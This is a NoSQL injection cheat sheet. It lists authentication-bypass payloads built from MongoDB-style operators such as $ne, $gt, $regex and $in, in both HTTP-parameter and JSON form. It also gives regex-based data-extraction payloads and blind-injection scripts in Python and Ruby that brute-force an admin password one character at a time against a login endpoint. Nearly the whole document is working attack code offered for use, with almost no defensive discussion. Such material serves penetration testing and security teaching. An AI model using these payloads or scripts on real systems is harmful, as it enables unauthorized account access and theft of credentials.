NoSQL Injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

in HTTP data

username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON data

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

Extract data with "$regex" query operator.

HTTP data

username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

JSON data

{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "$in" query operator.

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL

POST with JSON body

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

POST with urlencoded body

Python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET

python script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby script:

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
